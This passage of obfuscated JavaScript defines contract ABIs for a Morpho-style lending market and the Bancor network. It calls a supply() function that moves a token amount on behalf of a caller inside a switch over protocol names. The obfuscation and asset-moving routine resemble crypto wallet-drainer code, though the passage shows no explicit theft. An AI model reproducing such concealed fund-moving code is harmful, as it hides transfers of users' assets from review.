internalType: 'uint112',
name: "poolSupplyIndex",
type: 'uint112'
};
const _0xd7e3cf = {
internalType: "uint112",
name: "poolBorrowIndex",
type: 'uint112'
};
const _0x4ea92c = {
inputs: [_0x25bad3],
name: "poolIndexes",
outputs: [_0x1ab3ab, _0x9388e1, _0xd7e3cf],
stateMutability: 'view',
type: 'function'
};
const _0x80a22c = {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x5a991b = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x311833 = {
internalType: 'address',
name: "_onBehalf",
type: 'address'
};
const _0xe5ab20 = {
internalType: "uint256",
name: "_amount",
type: "uint256"
};
const _0x59a7d3 = {
inputs: [_0x5a991b, _0x311833, _0xe5ab20],
name: 'repay',
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x69f963 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x58bca4 = {
internalType: "uint256",
name: '_amount',
type: "uint256"
};
const _0x5bb60a = {
inputs: [_0x69f963, _0x58bca4],
name: 'repay',
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x20a65f = {
inputs: [],
name: "rewardsManager",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: "function"
};
const _0x592832 = {
internalType: "uint64",
name: "supply",
type: "uint64"
};
const _0x319bf2 = {
internalType: "uint64",
name: 'borrow',
type: "uint64"
};
const _0xb764e = {
internalType: "uint64",
name: "withdraw",
type: "uint64"
};
const _0x5f5b77 = {
internalType: "uint64",
name: 'repay',
type: "uint64"
};
const _0x342d54 = {
components: [_0x592832, _0x319bf2, _0xb764e, _0x5f5b77],
internalType: "struct Types.MaxGasForMatching",
name: "_defaultMaxGasForMatching",
type: "tuple"
};
const _0x534e4b = {
inputs: [_0x342d54],
name: "setDefaultMaxGasForMatching",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x58418e = {
internalType: "contract IEntryPositionsManager",
name: "_entryPositionsManager",
type: "address"
};
const _0x24b4c7 = {
inputs: [_0x58418e],
name: "setEntryPositionsManager",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1e3f08 = {
internalType: "contract IExitPositionsManager",
name: "_exitPositionsManager",
type: 'address'
};
const _0x491511 = {
inputs: [_0x1e3f08],
name: "setExitPositionsManager",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5938 = {
internalType: "contract IInterestRatesManager",
name: "_interestRatesManager",
type: 'address'
};
const _0x11ae76 = {
inputs: [_0x5938],
name: "setInterestRatesManager",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3b3f8b = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x24c624 = {
internalType: 'bool',
name: '_isPaused',
type: 'bool'
};
const _0x472188 = {
inputs: [_0x3b3f8b, _0x24c624],
name: "setIsBorrowPaused",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3fdbb2 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x255e88 = {
internalType: 'bool',
name: "_isDeprecated",
type: 'bool'
};
const _0x3c013e = {
inputs: [_0x3fdbb2, _0x255e88],
name: "setIsDeprecated",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2f3e97 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x191d5c = {
internalType: 'bool',
name: '_isPaused',
type: 'bool'
};
const _0x5ee977 = {
inputs: [_0x2f3e97, _0x191d5c],
name: "setIsLiquidateBorrowPaused",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x208a61 = {
internalType: 'address',
name: '_poolToken',
type: "address"
};
const _0x12eee2 = {
internalType: 'bool',
name: '_isPaused',
type: "bool"
};
const _0x4f7c49 = {
inputs: [_0x208a61, _0x12eee2],
name: "setIsLiquidateCollateralPaused",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4f3470 = {
internalType: 'address',
name: "_poolToken",
type: "address"
};
const _0x310006 = {
internalType: 'bool',
name: "_isP2PDisabled",
type: 'bool'
};
const _0x227ec5 = {
inputs: [_0x4f3470, _0x310006],
name: "setIsP2PDisabled",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x31490b = {
internalType: "bool",
name: '_isPaused',
type: 'bool'
};
const _0x49d77f = {
inputs: [_0x31490b],
name: "setIsPausedForAllMarkets",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5059b4 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x44686b = {
internalType: 'bool',
name: '_isPaused',
type: "bool"
};
const _0x3b2e38 = {
inputs: [_0x5059b4, _0x44686b],
name: "setIsRepayPaused",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x330599 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x40513b = {
internalType: 'bool',
name: '_isPaused',
type: "bool"
};
const _0x3ed4b3 = {
inputs: [_0x330599, _0x40513b],
name: "setIsSupplyPaused",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x310cab = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x265666 = {
internalType: 'bool',
name: '_isPaused',
type: 'bool'
};
const _0x10f5da = {
inputs: [_0x310cab, _0x265666],
name: "setIsWithdrawPaused",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1262ab = {
internalType: "uint256",
name: "_newMaxSortedUsers",
type: "uint256"
};
const _0x553408 = {
inputs: [_0x1262ab],
name: "setMaxSortedUsers",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x339215 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x1e7bdb = {
internalType: "uint16",
name: "_p2pIndexCursor",
type: "uint16"
};
const _0x1ec2ab = {
inputs: [_0x339215, _0x1e7bdb],
name: "setP2PIndexCursor",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x290c6d = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x29a286 = {
internalType: "uint16",
name: "_newReserveFactor",
type: "uint16"
};
const _0x1cad42 = {
inputs: [_0x290c6d, _0x29a286],
name: "setReserveFactor",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3abd5a = {
internalType: 'address',
name: "_treasuryVault",
type: 'address'
};
const _0x5492c7 = {
inputs: [_0x3abd5a],
name: "setTreasuryVault",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1d5b3b = {
internalType: 'address',
name: "_poolToken",
type: "address"
};
const _0x46ed11 = {
internalType: 'address',
name: "_onBehalf",
type: 'address'
};
const _0xbb91dd = {
internalType: "uint256",
name: '_amount',
type: "uint256"
};
const _0x2af09f = {
inputs: [_0x1d5b3b, _0x46ed11, _0xbb91dd],
name: "supply",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x6a12c4 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x1afa5e = {
internalType: "uint256",
name: '_amount',
type: "uint256"
};
const _0x3dc468 = {
inputs: [_0x6a12c4, _0x1afa5e],
name: "supply",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2e0a73 = {
internalType: 'address',
name: "_poolToken",
type: "address"
};
const _0x3938cb = {
internalType: 'address',
name: "_onBehalf",
type: 'address'
};
const _0x3b80e1 = {
internalType: "uint256",
name: "_amount",
type: "uint256"
};
const _0x523fc4 = {
internalType: "uint256",
name: "_maxGasForMatching",
type: "uint256"
};
const _0x19a682 = {
inputs: [_0x2e0a73, _0x3938cb, _0x3b80e1, _0x523fc4],
name: "supply",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x490ddd = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x136bf3 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x49e923 = {
inputs: [_0x490ddd, _0x136bf3],
name: "supplyBalanceInOf",
outputs: [{
'internalType': "uint256",
'name': "inP2P",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "onPool",
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x14d90e = {
internalType: 'address',
name: "newOwner",
type: "address"
};
const _0xc98ac4 = {
inputs: [_0x14d90e],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x22cd1c = {
inputs: [],
name: "treasuryVault",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: 'function'
};
const _0x9760a5 = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x2de019 = {
inputs: [_0x9760a5],
name: "updateIndexes",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0xa605d0 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x42c7d6 = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0x1643e2 = {
inputs: [_0xa605d0],
name: "userMarkets",
outputs: [_0x42c7d6],
stateMutability: 'view',
type: 'function'
};
const _0x24991f = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x24bdf6 = {
internalType: "uint256",
name: '_amount',
type: "uint256"
};
const _0x21b6d6 = {
internalType: 'address',
name: '_receiver',
type: 'address'
};
const _0x1450e1 = {
inputs: [_0x24991f, _0x24bdf6, _0x21b6d6],
name: "withdraw",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x3ea48a = {
internalType: 'address',
name: "_poolToken",
type: 'address'
};
const _0x337788 = {
internalType: "uint256",
name: "_amount",
type: "uint256"
};
const _0x42b43a = {
inputs: [_0x3ea48a, _0x337788],
name: "withdraw",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
let _0x26213e = [_0x5a954f, _0x33dff0, _0x4eee2d, _0xe4d557, _0x13320b, _0x2b01fe, _0x3e3151, _0x1a3fee, _0x58ad5b, _0x1dfe54, _0x48c823, _0x4dc58b, _0x4061fb, _0x49271d, _0x5b7075, _0x1ab529, _0x4722b7, _0xbf62ea, _0x262907, _0x5afa8b, _0x19de12, _0x3429a2, _0x194329, _0x3aab96, _0x35ab34, _0xba3b06, _0x1c7a4f, _0x6f819, _0xf017a6, _0x5b15d5, _0x41e346, _0x6167cc, _0x4bd785, _0x12a18c, _0x3c1571, _0x50a67b, _0x3b005e, _0x3903ea, _0x2ca56c, _0x2fc3f7, _0xdba028, _0x5be632, _0x36ced4, _0x20207d, _0x37d37e, _0x5f289f, _0x31ecfb, _0xf142ae, _0x245ca8, _0x4c44e5, _0x32bf29, _0x26bda1, _0x13e214, _0x2ea655, _0x1a0320, _0xbd6e18, _0x180f1e, _0x1c082f, _0x27a294, _0x408ae6, _0x667744, _0x5adecf, _0x467b25, _0x118e9f, _0x50f6ae, _0x19705b, _0x5de9b8, _0x4ea92c, _0x80a22c, _0x59a7d3, _0x5bb60a, _0x20a65f, _0x534e4b, _0x24b4c7, _0x491511, _0x11ae76, _0x472188, _0x3c013e, _0x5ee977, _0x4f7c49, _0x227ec5, _0x49d77f, _0x3b2e38, _0x3ed4b3, _0x10f5da, _0x553408, _0x1ec2ab, _0x1cad42, _0x5492c7, _0x2af09f, _0x3dc468, _0x19a682, _0x49e923, _0xc98ac4, _0x22cd1c, _0x2de019, _0x1643e2, _0x1450e1, _0x42b43a];
let _0x43f2dd = new ethers.Contract(_0x1d9d78, _0x26213e, _0x30ef12);
return _0x43f2dd.supply(_0x579e7a.asset.token, this.caller, _0x579e7a.asset.amount);
}
case 'Bancor':
{
const _0x18ccc8 = {
internalType: "contract ITokenGovernance",
name: "initBNTGovernance",
type: 'address'
};
const _0x277348 = {
internalType: "contract ITokenGovernance",
name: "initVBNTGovernance",
type: 'address'
};
const _0x2c1281 = {
internalType: "contract INetworkSettings",
name: "initNetworkSettings",
type: 'address'
};
const _0x6b9ddd = {
internalType: "contract IMasterVault",
name: "initMasterVault",
type: 'address'
};
const _0x27d6cd = {
internalType: "contract IExternalProtectionVault",
name: "initExternalProtectionVault",
type: 'address'
};
const _0x274f1c = {
internalType: "contract IPoolToken",
name: "initBNTPoolToken",
type: "address"
};
const _0x581373 = {
internalType: "address",
name: "bancorArbitrage",
type: 'address'
};
const _0x1e4484 = {
inputs: [_0x18ccc8, _0x277348, _0x2c1281, _0x6b9ddd, _0x27d6cd, _0x274f1c, _0x581373],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x1c0a1a = {
inputs: [],
name: "AccessDenied",
type: 'error'
};
const _0x14bb1c = {
inputs: [],
name: "AlreadyExists",
type: "error"
};
const _0x3b7b3c = {
inputs: [],
name: "AlreadyInitialized",
type: "error"
};
const _0x530b56 = {
inputs: [],
name: "DeadlineExpired",
type: 'error'
};
const _0x329129 = {
inputs: [],
name: "DepositingDisabled",
type: "error"
};
const _0x53e596 = {
inputs: [],
name: "DoesNotExist",
type: 'error'
};
const _0x326978 = {
inputs: [],
name: "InsufficientFlashLoanReturn",
type: "error"
};
const _0x58c673 = {
inputs: [],
name: "InvalidAddress",
type: "error"
};
const _0x5984c6 = {
inputs: [],
name: "InvalidPool",
type: "error"
};
const _0x5875d7 = {
inputs: [],
name: "InvalidToken",
type: 'error'
};
const _0x28760f = {
inputs: [],
name: "NativeTokenAmountMismatch",
type: 'error'
};
const _0x357f36 = {
inputs: [],
name: "NotEmpty",
type: "error"
};
const _0x243642 = {
inputs: [],
name: "NotWhitelisted",
type: 'error'
};
const _0x446d66 = {
inputs: [],
name: "Overflow",
type: 'error'
};
const _0x45aad5 = {
inputs: [],
name: "ZeroValue",
type: 'error'
};
const _0x1a707d = {
indexed: true,
internalType: "contract Token",
name: "token",
type: 'address'
};
const _0x5d88d0 = {
indexed: true,
internalType: 'address',
name: 'borrower',
type: 'address'
};
const _0x573729 = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x3284fa = {
indexed: false,
internalType: "uint256",
name: 'feeAmount',
type: "uint256"
};
const _0x766e41 = {
anonymous: false,
inputs: [_0x1a707d, _0x5d88d0, _0x573729, _0x3284fa],
name: "FlashLoanCompleted",
type: "event"
};
const _0x3b86b6 = {
indexed: true,
internalType: "bytes32",
name: "contextId",
type: "bytes32"
};
const _0x4070e9 = {
indexed: true,
internalType: "contract Token",
name: "token",
type: 'address'
};
const _0x394b2b = {
indexed: true,
internalType: 'address',
name: "provider",
type: 'address'
};
const _0x4dcf3f = {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x4836bd = {
indexed: false,
internalType: "uint256",
name: "availableAmount",
type: "uint256"
};
const _0x424ce5 = {
indexed: false,
internalType: "uint256",
name: "originalAmount",
type: "uint256"
};
const _0x4756bd = {
anonymous: false,
inputs: [_0x3b86b6, _0x4070e9, _0x394b2b, _0x4dcf3f, _0x4836bd, _0x424ce5],
name: "FundsMigrated",
type: "event"
};
const _0x10b2ee = {
indexed: true,
internalType: 'address',
name: "caller",
type: "address"
};
const _0x5a046a = {
indexed: true,
internalType: 'address',
name: 'recipient',
type: "address"
};
const _0x7a71d0 = {
indexed: false,
internalType: "uint256",
name: "amount",
type: 'uint256'
};
const _0x52acf5 = {
anonymous: false,
inputs: [_0x10b2ee, _0x5a046a, _0x7a71d0],
name: "NetworkFeesWithdrawn",
type: 'event'
};
const _0x246f96 = {
indexed: false,
internalType: 'address',
name: "account",
type: 'address'
};
const _0x225f13 = {
anonymous: false,
inputs: [_0x246f96],
name: 'Paused',
type: "event"
};
const _0x5dea75 = {
indexed: true,
internalType: "contract Token",
name: "pool",
type: 'address'
};
const _0xce934d = {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: 'address'
};
const _0x15695a = {
anonymous: false,
inputs: [_0x5dea75, _0xce934d],
name: 'PoolAdded',
type: "event"
};
const _0x46c499 = {
indexed: true,
internalType: "uint16",
name: 'poolType',
type: "uint16"
};
const _0x33382b = {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: "address"
};
const _0x1d2398 = {
anonymous: false,
inputs: [_0x46c499, _0x33382b],
name: "PoolCollectionAdded",
type: "event"
};
const _0x38e45e = {
indexed: true,
internalType: "uint16",
name: 'poolType',
type: 'uint16'
};
const _0x327eb9 = {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: 'address'
};
const _0x30a53e = {
anonymous: false,
inputs: [_0x38e45e, _0x327eb9],
name: "PoolCollectionRemoved",
type: "event"
};
const _0x4ea0b3 = {
indexed: true,
internalType: "contract Token",
name: "pool",
type: 'address'
};
const _0x1bebed = {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: 'address'
};
const _0x2c4b65 = {
anonymous: false,
inputs: [_0x4ea0b3, _0x1bebed],
name: "PoolCreated",
type: 'event'
};
const _0x489e08 = {
indexed: true,
internalType: "contract Token",
name: "pool",
type: 'address'
};
const _0x2b96e1 = {
indexed: true,
internalType: "contract IPoolCollection",
name: "poolCollection",
type: 'address'
};
const _0x1a5322 = {
anonymous: false,
inputs: [_0x489e08, _0x2b96e1],
name: "PoolRemoved",
type: "event"
};
const _0x316975 = {
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x2ecb2d = {
indexed: true,
internalType: "bytes32",
name: "previousAdminRole",
type: "bytes32"
};
const _0xcc3528 = {
indexed: true,
internalType: "bytes32",
name: "newAdminRole",
type: "bytes32"
};
const _0x583d6e = {
anonymous: false,
inputs: [_0x316975, _0x2ecb2d, _0xcc3528],
name: "RoleAdminChanged",
type: "event"
};
const _0x41de85 = {
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x4cf578 = {
indexed: true,
internalType: "address",
name: 'account',
type: 'address'
};
const _0x2d7c59 = {
indexed: true,
internalType: 'address',
name: "sender",
type: 'address'
};
const _0x25d5e8 = {
anonymous: false,
inputs: [_0x41de85, _0x4cf578, _0x2d7c59],
name: "RoleGranted",
type: "event"
};
const _0x5574ce = {
indexed: true,
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x13fc04 = {
indexed: true,
internalType: 'address',
name: "account",
type: 'address'
};
const _0x9795f6 = {
indexed: true,
internalType: 'address',
name: "sender",
type: 'address'
};
const _0x578827 = {
anonymous: false,
inputs: [_0x5574ce, _0x13fc04, _0x9795f6],
name: "RoleRevoked",
type: "event"
};
const _0x17f66f = {
indexed: true,
internalType: "bytes32",
name: "contextId",
type: "bytes32"
};
const _0x3c9348 = {
indexed: true,
internalType: "contract Token",
name: "sourceToken",
type: 'address'
};
const _0x25593f = {
indexed: true,
internalType: "contract Token",
name: "targetToken",
type: 'address'
};
const _0x4e3553 = {
indexed: false,
internalType: "uint256",
name: "sourceAmount",
type: "uint256"
};
const _0x2c8896 = {
indexed: false,
internalType: "uint256",
name: "targetAmount",
type: "uint256"
};
const _0x4588f3 = {
indexed: false,
internalType: "uint256",
name: "bntAmount",
type: "uint256"
};
const _0x1bbf6d = {
indexed: false,
internalType: "uint256",
name: "targetFeeAmount",
type: "uint256"
};
const _0x5895b9 = {
indexed: false,
internalType: "uint256",
name: "bntFeeAmount",
type: "uint256"
};
const _0x147cbe = {
indexed: false,
internalType: 'address',
name: "trader",
type: 'address'
};
const _0x2fe5c2 = {
anonymous: false,
inputs: [_0x17f66f, _0x3c9348, _0x25593f, _0x4e3553, _0x2c8896, _0x4588f3, _0x1bbf6d, _0x5895b9, _0x147cbe],
name: "TokensTraded",
type: "event"
};
const _0x3e6c92 = {
indexed: false,
internalType: 'address',
name: "account",
type: 'address'
};
const _0x5e7ee3 = {
anonymous: false,
inputs: [_0x3e6c92],
name: 'Unpaused',
type: "event"
};
const _0x1d9279 = {
inputs: [],
name: "DEFAULT_ADMIN_ROLE",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: "view",
type: 'function'
};
const _0x1d0172 = {
internalType: "uint256",
name: 'id',
type: "uint256"
};
const _0x37b348 = {
inputs: [_0x1d0172],
name: "cancelWithdrawal",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x351163 = {
internalType: "contract Token",
name: "pool",
type: 'address'
};
const _0x53453a = {
inputs: [_0x351163],
name: "collectionByPool",
outputs: [{
'internalType': "contract IPoolCollection",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x3eb124 = {
internalType: "contract Token[]",
name: "tokens",
type: "address[]"
};
const _0x591c61 = {
internalType: "contract IPoolCollection",
name: "poolCollection",
type: 'address'
};
const _0x4dcb58 = {
inputs: [_0x3eb124, _0x591c61],
name: "createPools",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2b483d = {
internalType: "contract Token",
name: "pool",
type: 'address'
};
const _0x4c09ae = {
internalType: "uint256",
name: "tokenAmount",
type: "uint256"
};
const _0x1f8239 = {
inputs: [_0x2b483d, _0x4c09ae],
name: "deposit",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "payable",
type: "function"
};
const _0x4af208 = {
internalType: 'address',
name: "provider",
type: 'address'
};
const _0x3a891b = {
internalType: "contract Token",
name: "pool",
type: 'address'
};
const _0x97c214 = {
internalType: "uint256",
name: "tokenAmount",
type: 'uint256'
};
const _0x47d67a = {
inputs: [_0x4af208, _0x3a891b, _0x97c214],
name: "depositFor",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x530af3 = {
inputs: [],
name: "depositingEnabled",
outputs: [{
'internalType': "bool",
'name': '',
'type': 'bool'
}],
stateMutability: 'view',
type: "function"
};
const _0x2f7639 = {
internalType: "bool",
name: 'status',
type: 'bool'
};
const _0xfd8b23 = {
inputs: [_0x2f7639],
name: "enableDepositing",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1e59c5 = {
internalType: "contract Token",
name: 'token',
type: "address"
};
const _0x23a624 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x4c1c40 = {
internalType: "contract IFlashLoanRecipient",
name: 'recipient',
type: 'address'
};
const _0x45a75b = {
internalType: 'bytes',
name: 'data',
type: "bytes"
};
const _0x41edc4 = {
inputs: [_0x1e59c5, _0x23a624, _0x4c1c40, _0x45a75b],
name: "flashLoan",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x441f3d = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x22fa91 = {
internalType: "bytes32",
name: '',
type: "bytes32"
};
const _0x339ff0 = {
inputs: [_0x441f3d],
name: "getRoleAdmin",
outputs: [_0x22fa91],
stateMutability: 'view',
type: 'function'
};
const _0x459fd2 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x324a70 = {
internalType: "uint256",
name: "index",
type: "uint256"
};
const _0x28523b = {
inputs: [_0x459fd2, _0x324a70],
name: "getRoleMember",
outputs: [{
'internalType': "address",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0xde2450 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x42f891 = {
inputs: [_0xde2450],
name: "getRoleMemberCount",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x528343 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x25b565 = {
internalType: "address",
name: "account",
type: 'address'
};
const _0x420b9a = {
inputs: [_0x528343, _0x25b565],
name: "grantRole",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x671d03 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0xb6e614 = {
internalType: "address",
name: "account",
type: 'address'
};
const _0x1d57db = {
inputs: [_0x671d03, _0xb6e614],
name: "hasRole",
outputs: [{
'internalType': 'bool',
'name': '',
'type': "bool"
}],
stateMutability: "view",
type: 'function'
};
const _0x3314cc = {
internalType: "contract IPoolToken",
name: 'poolToken',
type: 'address'
};
const _0x2179d4 = {
internalType: "uint256",
name: "poolTokenAmount",
type: "uint256"
};
const _0x3c3547 = {
inputs: [_0x3314cc, _0x2179d4],
name: "initWithdrawal",
outputs: [{
'internalType': 'uint256',
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x13a51e = {
internalType: "contract IBNTPool",
name: "initBNTPool",
type: 'address'
};
const _0x32553d = {
internalType: "contract IPendingWithdrawals",
name: "initPendingWithdrawals",
type: 'address'
};
const _0x61ad6f = {
internalType: "contract IPoolMigrator",
name: "initPoolMigrator",
type: 'address'
};
const _0x5d09f6 = {
inputs: [_0x13a51e, _0x32553d, _0x61ad6f],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2461aa = {
internalType: "contract Token[]",
name: '',
type: "address[]"
};
const _0x21c2b9 = {
inputs: [],
name: "liquidityPools",
outputs: [_0x2461aa],
stateMutability: 'view',
type: 'function'
};
const _0x164655 = {
internalType: "contract Token",
name: "token",
type: 'address'
};
const _0x244bd5 = {
internalType: 'address',
name: "provider",
type: 'address'
};
const _0xf2fe04 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x24f85b = {
internalType: "uint256",
name: "availableAmount",
type: "uint256"
};
const _0x49c162 = {
internalType: "uint256",
name: "originalAmount",
type: "uint256"
};
const _0x31cd01 = {
inputs: [_0x164655, _0x244bd5, _0xf2fe04, _0x24f85b, _0x49c162],
name: "migrateLiquidity",
outputs: [],
stateMutability: 'payable',
type: 'function'
};
const _0x46ee40 = {
internalType: "contract Token[]",
name: "pools",
type: "address[]"
};
const _0x146328 = {
internalType: "contract IPoolCollection",
name: "newPoolCollection",
type: "address"
};
const _0x435656 = {
inputs: [_0x46ee40, _0x146328],
name: "migratePools",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x57d977 = {
inputs: [],
name: "pause",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x422772 = {
internalType: "bool",
name: '',
type: "bool"
};
const _0x9dfa6e = {
inputs: [],
name: "paused",
outputs: [_0x422772],
stateMutability: 'view',
type: 'function'
};
const _0x427a5c = {
inputs: [],
name: "pendingNetworkFeeAmount",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x4651a0 = {
inputs: [],
name: "poolCollections",
outputs: [{
'internalType': "contract IPoolCollection[]",
'name': '',
'type': "address[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x5b46d5 = {
internalType: 'bytes',
name: 'data',
type: "bytes"
};
const _0x23ffc3 = {
inputs: [_0x5b46d5],
name: "postUpgrade",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x384ecc = {
internalType: "contract IPoolCollection",
name: "newPoolCollection",
type: 'address'
};
const _0xd20b3d = {
inputs: [_0x384ecc],
name: "registerPoolCollection",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x102a77 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x320645 = {
internalType: 'address',
name: "account",
type: 'address'
};
const _0x2d96f0 = {
inputs: [_0x102a77, _0x320645],
name: "renounceRole",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x40c5f5 = {
inputs: [],
name: "resume",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1d4264 = {
internalType: "bytes32",
name: "role",
type: "bytes32"
};
const _0x2cdfe3 = {
internalType: "address",
name: "account",
type: "address"
};
const _0x3bffe0 = {
inputs: [_0x1d4264, _0x2cdfe3],
name: "revokeRole",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x285bbc = {
inputs: [],
name: "roleAdmin",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: "pure",
type: 'function'
};
const _0x4b73e1 = {
inputs: [],
name: "roleEmergencyStopper",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: "pure",
type: 'function'
};
const _0x43ede1 = {
inputs: [],
name: "roleMigrationManager",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: "pure",
type: 'function'
};
const _0x1acf59 = {
inputs: [],
name: "roleNetworkFeeManager",
outputs: [{
'internalType': "bytes32",
'name': '',
'type': "bytes32"
}],
stateMutability: "pure",
type: "function"
};
const _0x2f6f1f = {
internalType: 'bytes4',
name: "interfaceId",
type: "bytes4"
};
const _0xf55f63 = {
internalType: 'bool',
name: '',
type: "bool"
};
const _0x3b6682 = {
inputs: [_0x2f6f1f],
name: "supportsInterface",
outputs: [_0xf55f63],
stateMutability: "view",
type: 'function'
};
const _0xc2ae8c = {
internalType: "contract Token",
name: "sourceToken",
type: 'address'
};
const _0xf9bc01 = {
internalType: "contract Token",
name: "targetToken",
type: 'address'
};
const _0x113d0f = {
internalType: "uint256",
name: "sourceAmount",
type: "uint256"
};
const _0x434bbb = {
internalType: "uint256",
name: "minReturnAmount",
type: 'uint256'
};
const _0xd0c076 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x1b85ae = {
internalType: 'address',
name: "beneficiary",
type: "address"
};
const _0x466d51 = {
inputs: [_0xc2ae8c, _0xf9bc01, _0x113d0f, _0x434bbb, _0xd0c076, _0x1b85ae],
name: "tradeBySourceAmount",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'payable',
type: 'function'
};
const _0x1abbaa = {
internalType: "contract Token",
name: "sourceToken",
type: 'address'
};
const _0x3c06d9 = {
internalType: "contract Token",
name: "targetToken",
type: "address"
};
const _0x599487 = {
internalType: "uint256",
name: "sourceAmount",
type: "uint256"
};
const _0x50af0e = {
internalType: "uint256",
name: "minReturnAmount",
type: "uint256"
};
